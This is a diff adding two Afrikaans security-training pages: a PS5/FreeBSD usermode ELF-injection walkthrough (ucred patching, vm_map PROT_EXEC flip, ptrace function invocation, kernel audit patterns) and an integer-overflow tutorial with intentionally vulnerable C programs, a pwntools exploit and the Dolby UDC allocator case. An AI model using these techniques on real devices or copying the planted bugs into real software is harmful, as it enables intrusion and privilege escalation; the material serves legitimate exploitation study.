+++ b/src/binary-exploitation/freebsd-ptrace-rfi-vm_map-prot_exec-bypass-ps5.md
@@ -0,0 +1,234 @@
+# FreeBSD ptrace RFI en vm_map PROT_EXEC-omseiling (PS5-gevallestudie)
+
+{{#include ../banners/hacktricks-training.md}}
+
+## Oorsig
+
+Hierdie bladsy dokumenteer 'n praktiese Unix/BSD-usermode-proses/ELF-injectietegniek op PlayStation 5 (PS5), wat op FreeBSD gebaseer is. Die metode kan veralgemeen word na FreeBSD-afgeleides wanneer jy reeds kernel read/write (R/W)-primitiewe het.[[5]](#references) Op hoë vlak:
+
+- Patch die huidige proses se credentials (ucred) om debugger authority toe te staan, wat ptrace/mdbg op arbitrêre user-prosesse moontlik maak.
+- Vind teikenprosesse deur die kernel se allproc-lys deur te loop.
+- Omseil PROT_EXEC-beperkings deur `vm_map_entry.protection |= PROT_EXEC` in die teiken se vm_map via kernel-data writes te verander.
+- Gebruik ptrace om Remote Function Invocation (RFI) uit te voer: suspend 'n thread, stel registers om arbitrêre funksies binne die teiken aan te roep, resume dit, versamel return values, en herstel die toestand.
+- Map en run arbitrêre ELF-payloads binne die teiken met behulp van 'n in-process ELF-loader, spawn dan 'n toegewyde thread wat jou payload uitvoer en 'n breakpoint aktiveer om skoon te detach.
+
+PS5-hypervisor-mitigations wat die moeite werd is om op te let (in konteks van hierdie tegniek):[[5]](#references)
+- XOM (execute-only .text) verhoed die lees/skryf van kernel .text.
+- Die skoonmaak van CR0.WP of die deaktivering van CR4.SMEP veroorsaak 'n hypervisor vmexit (crash). Slegs data-only kernel writes is uitvoerbaar.
+- Userland mmap is by verstek beperk tot PROT_READ|PROT_WRITE. Om PROT_EXEC toe te staan, moet vm_map-entries in kernel memory gewysig word.
+
+Hierdie tegniek is post-exploitation: dit veronderstel kernel R/W-primitiewe uit 'n exploit chain. Public payloads demonstreer dit tot en met firmware 10.01 ten tyde van skryf.[[5]](#references)
+
+## Kernel data-only primitives
+
+### Ontdekking van prosesse via allproc
+
+FreeBSD handhaaf 'n doubly-linked list van prosesse in kernel .data by allproc. Met 'n kernel read-primitive kan jy daardeur iterateer om prosesname en PIDs te vind:[[5]](#references)
+```c
+struct proc* find_proc_by_name(const char* proc_name){
+uint64_t next = 0;
+kernel_copyout(KERNEL_ADDRESS_ALLPROC, &next, sizeof(uint64_t)); // list head
+struct proc* proc = malloc(sizeof(struct proc));
+do{
+kernel_copyout(next, (void*)proc, sizeof(struct proc)); // read entry
+if (!strcmp(proc->p_comm, proc_name)) return proc;
+kernel_copyout(next, &next, sizeof(uint64_t)); // advance next
+} while (next);
+free(proc);
+return NULL;
+}
+
+void list_all_proc_and_pid(){
+uint64_t next = 0;
+kernel_copyout(KERNEL_ADDRESS_ALLPROC, &next, sizeof(uint64_t));
+struct proc* proc = malloc(sizeof(struct proc));
+do{
+kernel_copyout(next, (void*)proc, sizeof(struct proc));
+printf("%s - %d\n", proc->p_comm, proc->pid);
+kernel_copyout(next, &next, sizeof(uint64_t));
+} while (next);
+free(proc);
+}
+```
+Notes:
+- KERNEL_ADDRESS_ALLPROC is afhanklik van firmware.
+- p_comm is 'n naam met 'n vaste grootte; oorweeg pid->proc lookups indien nodig.
+
+### Verhoog credentials vir debugging (ucred)
+
+Op PS5 bevat struct ucred 'n Authority ID-veld wat via proc->p_ucred bereikbaar is. Deur die debugger Authority ID te skryf, verkry dit ptrace/mdbg oor ander prosesse:[[5]](#references)
+```c
+void set_ucred_to_debugger(){
+struct proc* proc = get_proc_by_pid(getpid());
+if (proc){
+uintptr_t authid = 0; // read current (optional)
+uintptr_t ptrace_authid = 0x4800000000010003ULL; // debugger Authority ID
+kernel_copyout((uintptr_t)proc->p_ucred + 0x58, &authid, sizeof(uintptr_t));
+kernel_copyin(&ptrace_authid, (uintptr_t)proc->p_ucred + 0x58, sizeof(uintptr_t));
+free(proc);
+}
+}
+```
+- Offset 0x58 is spesifiek vir die PS5-firmwarefamilie en moet per weergawe geverifieer word.
+- Ná hierdie write kan die injector user processes via ptrace/mdbg attach en instrument.
+
+## Omseil van RW-only user mappings: vm_map PROT_EXEC flip
+
+Userland mmap kan tot PROT_READ|PROT_WRITE beperk wees. FreeBSD hou ’n proses se address space in ’n vm_map van vm_map_entry-nodes (BST plus list) by. Elke entry bevat protection- en max_protection-velde:[[5]](#references)
+```c
+struct vm_map_entry {
+struct vm_map_entry *prev,*next,*left,*right;
+vm_offset_t start, end, avail_ssize;
+vm_size_t adj_free, max_free;
+union vm_map_object object; vm_ooffset_t offset; vm_eflags_t eflags;
+vm_prot_t protection; vm_prot_t max_protection; vm_inherit_t inheritance;
+int wired_count; vm_pindex_t lastr;
+};
+```
+Met kernel R/W kan jy die teiken se `vm_map` opspoor en `entry->protection |= PROT_EXEC` stel (en, indien nodig, ook `entry->max_protection`). Praktiese implementeringsnotas:
+- Loop deur entries óf lineêr via `next`, óf gebruik die balanced-tree (`left/right`) vir O(log n)-soektog volgens adresreeks.
+- Kies ’n bekende RW-region wat jy beheer (scratch buffer of mapped file) en voeg `PROT_EXEC` by sodat jy code of loader thunks kan stage.
+- PS5 SDK-code verskaf helpers vir vinnige map-entry-opsoek en die wisseling van protections.[[6]](#references) [[9]](#references)
+
+Dit omseil userland se mmap-policy deur kernel-besit metadata direk te wysig.
+
+## Remote Function Invocation (RFI) with ptrace
+
+FreeBSD het nie Windows-styl `VirtualAllocEx`/`CreateRemoteThread` nie. Dryf eerder die teiken om funksies op homself te roep onder ptrace-beheer:[[5]](#references)
+
+1. Attach aan die teiken en kies ’n thread; `PTRACE_ATTACH` of PS5-spesifieke mdbg-flows kan van toepassing wees.
+2. Stoor thread-context: registers, PC, SP, flags.
+3. Skryf argument-registers volgens die ABI (x86_64 SysV of arm64 AAPCS64), stel PC na die teikenfunksie, en plaas opsioneel addisionele args/stack soos nodig.
+4. Single-step of continue totdat ’n beheerde stop plaasvind (bv. software breakpoint of signal), en lees dan return values uit die regs terug.
+5. Herstel die oorspronklike context en continue.
+
+Gebruiksgevalle:
+- Roep ’n in-process ELF loader aan (bv. `elfldr_load`) met ’n pointer na jou ELF-image in teikengeheue.
+- Roep helper-routines aan om teruggekeerde entrypoints en payload-args-pointers te kry.[[7]](#references)
+
+Voorbeeld van hoe om die ELF loader aan te dryf:
+```c
+intptr_t entry = elfldr_load(target_pid, (uint8_t*)elf_in_target);
+intptr_t args = elfldr_payload_args(target_pid);
+printf("[+] ELF entrypoint: %#02lx\n[+] Payload Args: %#02lx\n", entry, args);
+```
+Die loader karteer segmente, resolve imports, pas relocations toe en gee die entry (dikwels ’n CRT bootstrap) terug, saam met ’n ondeursigtige payload_args-wyser wat jou stager aan die payload se main() deurgee.[[7]](#references)
+
+## Threaded stager en skoon detach
+
+’n Minimale stager binne die teiken skep ’n nuwe pthread wat die ELF se main uitvoer en dan int3 aktiveer om die injector te sein om te detach:[[5]](#references)
+```c
+int __attribute__((section(".stager_shellcode$1"))) stager(SCEFunctions* functions){
+pthread_t thread;
+functions->pthread_create_ptr(&thread, 0,
+(void*(*)(void*))functions->elf_main, functions->payload_args);
+asm("int3");
+return 0;
+}
+```
+- Die SCEFunctions/payload_args-wysers word deur die loader/SDK glue verskaf.
+- Ná die breakpoint en detach gaan die payload in sy eie thread voort.
+
+## End-tot-einde-pyplyn (PS5 reference implementation)
+
+’n Werkende implementation word as ’n klein TCP injector server plus ’n client script verskaf:[[5]](#references) [[8]](#references)
+
+- Die NineS server luister op TCP 9033 en ontvang ’n header wat die teikenproses se naam bevat, gevolg deur die ELF image:
+```c
+typedef struct __injector_data_t{
+char proc_name[MAX_PROC_NAME];
+Elf64_Ehdr elf_header;
+} injector_data_t;
+```
+- Gebruik van die Python-kliënt:
+```bash
+python3 ./send_injection_elf.py SceShellUI hello_world.elf
+```
+Hello-world payload-voorbeeld (logs na klog):[[12]](#references)
+```c
+#include
+#include
+#include
+int main(){
+klog_printf("Hello from PID %d\n", getpid());
+return 0;
+}
+```
+## Praktiese oorwegings
+
+- Offsets en konstantes (allproc, ucred authority offset, vm_map layout, ptrace/mdbg details) is firmware-spesifiek en moet per release opgedateer word.
+- Hypervisor-beskermings dwing data-only kernel writes af; moenie probeer om CR0.WP of CR4.SMEP te patch nie.
+- JIT memory is 'n alternatief: sommige prosesse stel PS5 JIT APIs bloot om executable pages toe te wys. Die vm_map protection flip verwyder die behoefte om op JIT/mirroring tricks staat te maak.
+- Hou register save/restore robuust; indien dit misluk, kan jy die target deadlock of laat crash.
+
+## Publieke tooling
+
+- PS5 SDK (dynamic linking, kernel R/W wrappers, vm_map helpers): https://github.com/ps5-payload-dev/sdk[[6]](#references)
+- ELF loader: https://github.com/ps5-payload-dev/elfldr[[7]](#references)
+- Injector server: https://github.com/buzzer-re/NineS/[[8]](#references)
+- Utilities/vm_map helpers: https://github.com/buzzer-re/playstation_research_utils[[9]](#references)
+- Verwante projekte: https://github.com/OpenOrbis/mira-project, https://github.com/ps5-payload-dev/gdbsrv[[10]](#references) [[11]](#references)
+
+## Bykomende FreeBSD kernel exploitation audit patterns
+
+Die PS5-tegniek hierbo neem aan dat jy reeds kernel R/W het. Calif se 2026 FreeBSD audit het drie nuttige **pre-R/W bug patterns** bekendgestel wat ook die moeite werd is om in native FreeBSD code paths na te gaan:[[1]](#references)
+
+### 1. Copyin/copyout size confusion in 'n caller-owned stack buffer
+
+Wanneer 'n helper tussen 'n klein **on-stack array** en 'n heap allocation kies, verifieer dat **beide** die allocation size en die latere `copyin`/`copyout` length die **element size** gebruik, nie die pointer size nie. In die vrygestelde `setcred(2)` LPE het 'n helper wat supplementary groups hanteer `sizeof(pointer)` in plaas van `sizeof(gid_t)` gebruik, sodat 'n user-controlled group count `N*8` bytes na 'n caller frame gekopieer het wat slegs plek vir `N*4`-grootte entries gereserveer het.[[2]](#references)
+
+Dinge wat die moeite werd is om tydens audit/exploitation na te gaan:
+
+- Stack/heap dual paths soos `smallbuf` teenoor `malloc()` fallbacks.
+- Copies wat by 'n **interior pointer** soos `buf + 1` begin; die bug mag die saved return address mis, maar steeds nabygeleë locals of callee-saved registers smash.
+- Of die **privilege check ná die copy plaasvind**, wat 'n nominaal privileged API in 'n bereikbare pre-check overflow verander.
+- Presiese **version-specific frame layout**. Dieselfde source bug kan op verskeie FreeBSD releases bestaan, terwyl slegs een build exploitable is omdat die compiler output, local-variable ordering of mitigation state verander het.
+
+### 2. Redirected syscall numbers wat nie voor `sysent` lookup hergevalideer word nie
+
+Audit elke path wat 'n **syscall number kan vertaal of redirect** (`SYS_syscall`, `SYS___syscall`, ptrace remote syscall helpers, compat/emulation wrappers). Die belangrike reël is: **bounds-check die finale syscall number ná redirection**, nie slegs die oorspronklike request nie.
+
+Indien die redirected value ongekontroleerd by `sv->sv_table[sc]` uitkom, kan aangrensende kernel memory as 'n fake `struct sysent` geïnterpreteer word:[[3]](#references)
+
+- `sy_call` kan 'n onbedoelde kernel call target word.
+- `sy_narg` kan in 'n latere copyin/copyout overflow verander word.
+- `sy_flags` / tracing metadata kan sekondêre side effects blootlê.
+
+Bykomende dinge waarna gekyk moet word:
+
+- `register_t` → `int` truncation of signedness bugs wat **negative indices** sowel as oversized positive ones moontlik maak.
+- 'n **safe native syscall path** elders in die kernel wat reeds die ontbrekende post-redirect check uitvoer; deur die safe en unsafe paths te diff, is dit dikwels genoeg om die bug vinnig raak te sien.
+
+### 3. Embedded `selinfo` / poll waiter lifetime bugs wat linked-list writes word
+
+Enige kernel object wat `struct selinfo` (of verwante `knlist` state) embed, moet **waiters drain voordat die object gefree word**. 'n Algemene review pattern is:
+
+- object is bereikbaar vanaf `poll(2)` / `select(2)` / `kqueue(2)`
+- 'n wait path roep `selrecord()` aan
+- die finale free path vernietig die lock/object **sonder** `seldrain()`
+
+Dit laat stale waiter metadata wat na freed memory wys. Indien die freed slot met attacker-influenced data herwin word (Calif het `SCM_RIGHTS`-gedrewe `filedescent` allocations teen `procdesc` gebruik), kan die latere timeout/cleanup path 'n stale `TAILQ_REMOVE()` of soortgelyke unlink logic op die herwonne object uitvoer.[[4]](#references)
+
+Waarom dit belangrik is:
+
+- list removal verander **forward en backward pointers**, sodat reclaimed wait state 'n praktiese **kernel pointer write** primitive kan word
+- die trigger kan vertraag word tot **poll timeout**, **close**, of 'n ander async cleanup path, wat help om eers die freed slot te reclaim
+- `selwakeup()` op een code path is **nie genoeg nie** indien 'n ander free path dit kan oorslaan; wat saak maak, is dat elke terminal lifetime path die waiters drain voordat `free()` geroep word
+
+'n Goeie FreeBSD-spesifieke grep set is: `selrecord`, `seldrain`, `selwakeup`, `knlist_destroy`, `TAILQ_REMOVE`, en finale free/destructor routines vir objects wat vanaf `pdfork`, sockets, pipes, procdescs en device file operations bereikbaar is.
+
+## References
+
+- [1] [Calif - An AI audit of FreeBSD](https://blog.calif.io/p/an-ai-audit-of-freebsd)
+- [2] [Calif setcred write-up](https://github.com/califio/publications/blob/main/MADBugs/freebsd/setcred-CVE-2026-45250/WRITEUP.md)
+- [3] [Calif ptrace PT_SC_REMOTE write-up](https://github.com/califio/publications/blob/main/MADBugs/freebsd/ptrace-CVE-2026-45253/WRITEUP.md)
+- [4] [Calif procdesc/file write-up](https://github.com/califio/publications/blob/main/MADBugs/freebsd/file-CVE-2026-45251/WRITEUP.md)
+- [5] [Usermode ELF injection on the PlayStation 5](https://reversing.codes/posts/PlayStation-5-ELF-Injection/)
+- [6] [ps5-payload-dev/sdk](https://github.com/ps5-payload-dev/sdk)
+- [7] [ps5-payload-dev/elfldr](https://github.com/ps5-payload-dev/elfldr)
+- [8] [buzzer-re/NineS](https://github.com/buzzer-re/NineS/)
+- [9] [playstation_research_utils](https://github.com/buzzer-re/playstation_research_utils)
+- [10] [Mira](https://github.com/OpenOrbis/mira-project)
+- [11] [gdbsrv](https://github.com/ps5-payload-dev/gdbsrv)
+- [12] [FreeBSD klog reference](https://lists.freebsd.org/pipermail/freebsd-questions/2006-October/134233.html)
+{{#include ../banners/hacktricks-training.md}}
diff --git a/src/binary-exploitation/integer-overflow-and-underflow.md b/src/binary-exploitation/integer-overflow-and-underflow.md
new file mode 100644
index 00000000000..c335f4a6a6d
--- /dev/null
+++ b/src/binary-exploitation/integer-overflow-and-underflow.md
@@ -0,0 +1,426 @@
+# Integer Overflow
+
+{{#include ../banners/hacktricks-training.md}}
+
+## Basiese Inligting
+
+In die kern van 'n **integer overflow** is die beperking wat deur die **grootte** van datatipes in rekenaarprogrammering en die **interpretasie** van die data opgelê word.
+
+Byvoorbeeld, 'n **8-bit unsigned integer** kan waardes van **0 tot 255** voorstel. As jy probeer om die waarde 256 in 'n 8-bit unsigned integer te stoor, draai dit terug na 0 weens die beperking van sy stoorkapasiteit. Net so sal 'n **16-bit unsigned integer**, wat waardes van **0 tot 65,535** kan bevat, die waarde na 0 terugdraai wanneer 1 by 65,535 gevoeg word.
+
+Verder kan 'n **8-bit signed integer** waardes van **-128 tot 127** voorstel. Dit is omdat een bit gebruik word om die teken (positief of negatief) voor te stel, wat 7 bits oorlaat om die grootte voor te stel. Die mees negatiewe getal word as **-128** (binêre `10000000`) voorgestel, en die mees positiewe getal is **127** (binêre `01111111`).
+
+Maksimumwaardes vir algemene integer-tipes:
+| Tipe | Grootte (bits) | Minimumwaarde | Maksimumwaarde |
+|----------------|-------------|--------------------|--------------------|
+| int8_t | 8 | -128 | 127 |
+| uint8_t | 8 | 0 | 255 |
+| int16_t | 16 | -32,768 | 32,767 |
+| uint16_t | 16 | 0 | 65,535 |
+| int32_t | 32 | -2,147,483,648 | 2,147,483,647 |
+| uint32_t | 32 | 0 | 4,294,967,295 |
+| int64_t | 64 | -9,223,372,036,854,775,808 | 9,223,372,036,854,775,807 |
+| uint64_t | 64 | 0 | 18,446,744,073,709,551,615 |
+
+'n short is gelykstaande aan 'n `int16_t`, 'n int is gelykstaande aan 'n `int32_t`, en 'n long is gelykstaande aan 'n `int64_t` in 64-bis-stelsels.
+
+### Maksimumwaardes
+
+Vir potensiële **web vulnerabilities** is dit baie interessant om die maksimum ondersteunde waardes te ken:
+
+{{#tabs}}
+{{#tab name="Rust"}}
+```rust
+fn main() {
+
+let mut quantity = 2147483647;
+
+let (mul_result, _) = i32::overflowing_mul(32767, quantity);
+let (add_result, _) = i32::overflowing_add(1, quantity);
+
+println!("{}", mul_result);
+println!("{}", add_result);
+}
+```
+{{#endtab}}
+
+{{#tab name="C"}}
+```c
+#include
+#include
+
+int main() {
+int a = INT_MAX;
+int b = 0;
+int c = 0;
+
+b = a * 100;
+c = a + 1;
+
+printf("%d\n", INT_MAX);
+printf("%d\n", b);
+printf("%d\n", c);
+return 0;
+}
+```
+{{#endtab}}
+{{#endtabs}}
+
+## Voorbeelde
+
+### Pure overflow
+
+Die gedrukte resultaat sal 0 wees omdat ons die char laat oorloop het:
+```c
+#include
+
+int main() {
+unsigned char max = 255; // 8-bit unsigned integer
+unsigned char result = max + 1;
+printf("Result: %d\n", result); // Expected to overflow
+return 0;
+}
+```
+### Signed na Unsigned-omskakeling
+
+Beskou ’n situasie waar ’n signed heelgetal vanaf gebruikersinvoer gelees word en dit dan in ’n konteks gebruik word wat dit as ’n unsigned heelgetal hanteer, sonder behoorlike validering:
+```c
+#include
+
+int main() {
+int userInput; // Signed integer
+printf("Enter a number: ");
+scanf("%d", &userInput);
+
+// Treating the signed input as unsigned without validation
+unsigned int processedInput = (unsigned int)userInput;
+
+// A condition that might not work as intended if userInput is negative
+if (processedInput > 1000) {
+printf("Processed Input is large: %u\n", processedInput);
+} else {
+printf("Processed Input is within range: %u\n", processedInput);
+}
+
+return 0;
+}
+```
+In hierdie voorbeeld, indien 'n gebruiker 'n negatiewe getal invoer, sal dit as 'n groot unsigned integer geïnterpreteer word weens die manier waarop binêre waardes geïnterpreteer word, wat moontlik tot onverwagte gedrag kan lei.
+
+### macOS Overflow-voorbeeld
+```c
+#include
+#include
+#include
+#include
+#include
+
+/*
+* Realistic integer-overflow → undersized allocation → heap overflow → flag
+* Works on macOS arm64 (no ret2win required; avoids PAC/CFI).
+*/
+
+__attribute__((noinline))
+void win(void) {
+puts("🎉 EXPLOITATION SUCCESSFUL 🎉");
+puts("FLAG{integer_overflow_to_heap_overflow_on_macos_arm64}");
+exit(0);
+}
+
+struct session {
+int is_admin; // Target to flip from 0 → 1
+char note[64];
+};
+
+static size_t read_stdin(void *dst, size_t want) {
+// Read in bounded chunks to avoid EINVAL on large nbyte (macOS PTY/TTY)
+const size_t MAX_CHUNK = 1 << 20; // 1 MiB per read (any sane cap is fine)
+size_t got = 0;
+
+printf("Requested bytes: %zu\n", want);
+
+while (got < want) {
+size_t remain = want - got;
+size_t chunk = remain > MAX_CHUNK ? MAX_CHUNK : remain;
+
+ssize_t n = read(STDIN_FILENO, (char*)dst + got, chunk);
+if (n > 0) {
+got += (size_t)n;
+continue;
+}
+if (n == 0) {
+// EOF – stop; partial reads are fine for our exploit
+break;
+}
+// n < 0: real error (likely EINVAL when chunk too big on some FDs)
+perror("read");
+break;
+}
+return got;
+}
+
+
+int main(void) {
+setvbuf(stdout, NULL, _IONBF, 0);
+puts("=== Bundle Importer (training) ===");
+
+// 1) Read attacker-controlled parameters (use large values)
+size_t count = 0, elem_size = 0;
+printf("Entry count: ");
+if (scanf("%zu", &count) != 1) return 1;
+printf("Entry size: ");
+if (scanf("%zu", &elem_size) != 1) return 1;
+
+// 2) Compute total bytes with a 32-bit truncation bug (vulnerability)
+// NOTE: 'product32' is 32-bit → wraps; then we add a tiny header.
+uint32_t product32 = (uint32_t)(count * elem_size);//<-- Integer overflow because the product is converted to 32-bit.
+/* So if you send "4294967296" (0x1_00000000 as count) and 1 as element --> 0x1_00000000 * 1 = 0 in 32bits
+Then, product32 = 0
+*/
+uint32_t alloc32 = product32 + 32; // alloc32 = 0 + 32 = 32
+printf("[dbg] 32-bit alloc = %u bytes (wrapped)\n", alloc32);
+
+// 3) Allocate a single arena and lay out [buffer][slack][session]
+// This makes adjacency deterministic (no reliance on system malloc order).
+const size_t SLACK = 512;
+size_t arena_sz = (size_t)alloc32 + SLACK; // 32 + 512 = 544 (0x220)
+unsigned char *arena = (unsigned char*)malloc(arena_sz);
+if (!arena) { perror("malloc"); return 1; }
+memset(arena, 0, arena_sz);
+
+unsigned char *buf = arena; // In this buffer the attacker will copy data
+struct session *sess = (struct session*)(arena + (size_t)alloc32 + 16); // The session is stored right after the buffer + alloc32 (32) + 16 = buffer + 48
+sess->is_admin = 0;
+strncpy(sess->note, "regular user", sizeof(sess->note)-1);
+
+printf("[dbg] arena=%p buf=%p alloc32=%u sess=%p offset_to_sess=%zu\n",
+(void*)arena, (void*)buf, alloc32, (void*)sess,
+((size_t)alloc32 + 16)); // This just prints the address of the pointers to see that the distance between "buf" and "sess" is 48 (32 + 16).
+
+// 4) Copy uses native size_t product (no truncation) → It generates an overflow
+size_t to_copy = count * elem_size; // <-- Large size_t
+printf("[dbg] requested copy (size_t) = %zu\n", to_copy);
+
+puts(">> Send bundle payload on stdin (EOF to finish)...");
+size_t got = read_stdin(buf, to_copy); // <-- Heap overflow vulnerability that can bue abused to overwrite sess->is_admin to 1
+printf("[dbg] actually read = %zu bytes\n", got);
+
+// 5) Privileged action gated by a field next to the overflow target
+if (sess->is_admin) {
+puts("[dbg] admin privileges detected");
+win();
+} else {
+puts("[dbg] normal user");
+}
+return 0;
+}
+```
+Kompileer dit met:
+```bash
+clang -O0 -Wall -Wextra -std=c11 -D_FORTIFY_SOURCE=0 \
+-o int_ovf_heap_priv int_ovf_heap_priv.c
+```
+#### Exploit
+```python
+# exploit.py
+from pwn import *
+
+# Keep logs readable; switch to "debug" if you want full I/O traces
+context.log_level = "info"
+
+EXE = "./int_ovf_heap_priv"
+
+def main():
+# IMPORTANT: use plain pipes, not PTY
+io = process([EXE]) # stdin=PIPE, stdout=PIPE by default
+
+# 1) Drive the prompts
+io.sendlineafter(b"Entry count: ", b"4294967296") # 2^32 -> (uint32_t)0
+io.sendlineafter(b"Entry size: ", b"1") # alloc32 = 32, offset_to_sess = 48
+
+# 2) Wait until it’s actually reading the payload
+io.recvuntil(b">> Send bundle payload on stdin (EOF to finish)...")
+
+# 3) Overflow 48 bytes, then flip is_admin to 1 (little-endian)
+payload = b"A" * 48 + p32(1)
+
+# 4) Send payload, THEN send EOF via half-close on the pipe
+io.send(payload)
+io.shutdown("send") # <-- this delivers EOF when using pipes, it's needed to stop the read loop from the binary
+
+# 5) Read the rest (should print admin + FLAG)
+print(io.recvall(timeout=5).decode(errors="ignore"))
+
+if __name__ == "__main__":
+main()
+```
+### macOS Underflow-voorbeeld
+```c
+#include
+#include
+#include
+#include
+#include
+
+/*
+* Integer underflow -> undersized allocation + oversized copy -> heap overwrite
+* Works on macOS arm64. Data-oriented exploit: flip sess->is_admin.
+*/
+
+__attribute__((noinline))
+void win(void) {
+puts("🎉 EXPLOITATION SUCCESSFUL 🎉");
+puts("FLAG{integer_underflow_heap_overwrite_on_macos_arm64}");
+exit(0);
+}
+
+struct session {
+int is_admin; // flip 0 -> 1
+char note[64];
+};
+
+static size_t read_stdin(void *dst, size_t want) {
+// Read in bounded chunks so huge 'want' doesn't break on PTY/TTY.
+const size_t MAX_CHUNK = 1 << 20; // 1 MiB
+size_t got = 0;
+printf("[dbg] Requested bytes: %zu\n", want);
+while (got < want) {
+size_t remain = want - got;
+size_t chunk = remain > MAX_CHUNK ? MAX_CHUNK : remain;
+ssize_t n = read(STDIN_FILENO, (char*)dst + got, chunk);
+if (n > 0) { got += (size_t)n; continue; }
+if (n == 0) break; // EOF: partial read is fine
+perror("read"); break;
+}
+return got;
+}
+
+int main(void) {
+setvbuf(stdout, NULL, _IONBF, 0);
+puts("=== Packet Importer (UNDERFLOW training) ===");
+
+size_t total_len = 0;
+printf("Total packet length: ");
+if (scanf("%zu", &total_len) != 1) return 1; // Suppose it's "8"
+
+const size_t HEADER = 16;
+
+// **BUG**: size_t underflow if total_len < HEADER
+size_t payload_len = total_len - HEADER; // <-- UNDERFLOW HERE if total_len < HEADER --> Huge number as it's unsigned
+// If total_len = 8, payload_len = 8 - 16 = -8 = 0xfffffffffffffff8 = 18446744073709551608 (on 64bits - huge number)
+printf("[dbg] total_len=%zu, HEADER=%zu, payload_len=%zu\n",
+total_len, HEADER, payload_len);
+
+// Build a deterministic arena: [buf of total_len][16 gap][session][slack]
+const size_t SLACK = 256;
+size_t arena_sz = total_len + 16 + sizeof(struct session) + SLACK; // 8 + 16 + 72 + 256 = 352 (0x160)
+unsigned char *arena = (unsigned char*)malloc(arena_sz);
+if (!arena) { perror("malloc"); return 1; }
+memset(arena, 0, arena_sz);
+
+unsigned char *buf = arena;
+struct session *sess = (struct session*)(arena + total_len + 16);
+// The offset between buf and sess is total_len + 16 = 8 + 16 = 24 (0x18)
+sess->is_admin = 0;
+strncpy(sess->note, "regular user", sizeof(sess->note)-1);
+
+printf("[dbg] arena=%p buf=%p total_len=%zu sess=%p offset_to_sess=%zu\n",
+(void*)arena, (void*)buf, total_len, (void*)sess, total_len + 16);
+
+puts(">> Send payload bytes (EOF to finish)...");
+size_t got = read_stdin(buf, payload_len);
+// The offset between buf and sess is 24 and the payload_len is huge so we can overwrite sess->is_admin to set it as 1
+printf("[dbg] actually read = %zu bytes\n", got);
+
+if (sess->is_admin) {
+puts("[dbg] admin privileges detected");
+win();
+} else {
+puts("[dbg] normal user");
+}
+return 0;
+}
+```
+Kompileer dit met:
+```bash
+clang -O0 -Wall -Wextra -std=c11 -D_FORTIFY_SOURCE=0 \
+-o int_underflow_heap int_underflow_heap.c
+```
+### Allocator alignment rounding wrap → undersized chunk → heap overflow (Dolby UDC case)
+
+Sommige pasgemaakte allocators rond allokasies op na die belyning sonder om weer vir overflow te kontroleer. In die Dolby Unified Decoder (Pixel 9, CVE-2025-54957) word aanvaller-beheerde `emdf_payload_size` (gedekodeer met ’n onbegrensde `variable_bits(8)`-lus) na `ddp_udc_int_evo_malloc` gevoer:[[3]](#references)
+```c
+size_t total_size = alloc_size + extra;
+if (alloc_size + extra < alloc_size) return 0; // initial wrap guard
+if (total_size % 8)
+total_size += (8 - total_size) % total_size; // vulnerable rounding
+if (total_size > heap->remaining) return 0;
+```
+Vir 64-bis-waardes naby `0xFFFFFFFFFFFFFFF9` laat `(8 - total_size) % total_size` die optelling omvou en produseer dit ’n **baie klein `total_size`**, selfs al bly die logiese `alloc_size` groot. Die caller skryf later `payload_length` grepe na die teruggekose chunk:
+```c
+buffer = ddp_udc_int_evo_malloc(evo_heap, payload_length, extra);
+for (size_t i = 0; i < payload_length; i++) { // bounds use logical size
+buffer[i] = next_byte_from_emdf(); // writes past tiny chunk
+}
+```
+Waarom exploitation betroubaar in hierdie patroon is:
+- **Overflow-lengtebeheer:** Grepe word verkry vanaf ’n reader wat deur ’n ander aanvallergekose lengte (`emdf_container_length`) beperk word, sodat die skryfaksie ná N grepe stop in plaas daarvan om `payload_length`-grepe te spuit.
+- **Overflow-databeheer:** Grepe wat ná die chunk geskryf word, word volledig deur die aanvaller vanuit die EMDF-payload voorsien.
+- **Heap-determinisme:** Die allocator is ’n per-frame bump-pointer slab sonder frees, dus is die aangrensendheid van beskadigde objekte voorspelbaar.
+
+## Ander voorbeelde
+
+- [https://guyinatuxedo.github.io/35-integer_exploitation/int_overflow_post/index.html](https://guyinatuxedo.github.io/35-integer_exploitation/int_overflow_post/index.html)[[4]](#references)
+- Slegs 1B word gebruik om die grootte van die wagwoord te stoor, dus is dit moontlik om dit te laat overflow en dit te laat dink dat sy lengte 4 is terwyl dit in werklikheid 260 is, om die lengtekontrolebeskerming te omseil[[4]](#references)
+- [https://guyinatuxedo.github.io/35-integer_exploitation/puzzle/index.html](https://guyinatuxedo.github.io/35-integer_exploitation/puzzle/index.html)[[5]](#references)
+
+- Gegewe ’n paar getalle, vind met behulp van z3 ’n nuwe getal wat, wanneer dit met die eerste een vermenigvuldig word, die tweede een sal oplewer:[[5]](#references)
+
+```
+(((argv[1] * 0x1064deadbeef4601) & 0xffffffffffffffff) == 0xD1038D2E07B42569)
+```
+
+- [https://8ksec.io/arm64-reversing-and-exploitation-part-8-exploiting-an-integer-overflow-vulnerability/](https://8ksec.io/arm64-reversing-and-exploitation-part-8-exploiting-an-integer-overflow-vulnerability/)[[6]](#references)
+- Slegs 1B word gebruik om die grootte van die wagwoord te stoor, dus is dit moontlik om dit te laat overflow en dit te laat dink dat sy lengte 4 is terwyl dit in werklikheid 260 is, om die lengtekontrolebeskerming te omseil, die volgende plaaslike veranderlike op die stack te oorskryf en albei beskermings te omseil[[6]](#references)
+
+## Go-integer-overflow-detectie met go-panikint
+
+Go wrap integers stilweg. [go-panikint](https://github.com/trailofbits/go-panikint) is ’n gevurkte Go-toolchain wat SSA-overflow-kontroles inspuit, sodat wrapped arithmetic onmiddellik `runtime.panicoverflow()` aanroep (panic + stack trace).[[1]](#references)[[2]](#references)
+
+**Waarom dit gebruik word**
+
+- Maak overflow/truncation bereikbaar in fuzzing/CI, omdat arithmetic wraps nou crashes veroorsaak.
+- Nuttig rondom gebruikerbeheerde pagination, offsets, quotas, grootteberekeninge of access-control-wiskunde (bv. `end := offset + limit` wanneer `uint64` na ’n klein waarde wrap).
+
+**Bou en gebruik**
+```bash
+git clone https://github.com/trailofbits/go-panikint
+cd go-panikint/src && ./make.bash
+export GOROOT=/path/to/go-panikint
+./bin/go test -fuzz=FuzzOverflowHarness
+```
+Gebruik hierdie geforkte `go`-binary vir tests/fuzzing om overflows as panics bloot te lê.
+
+**Geraasbeheer**
+
+- Truncation checks (casts na kleiner ints) kan baie geraas veroorsaak.
+- Onderdruk opsetlike wrap-around deur source-path-filters of ingebedde `// overflow_false_positive` / `// truncation_false_positive`-comments te gebruik.
+
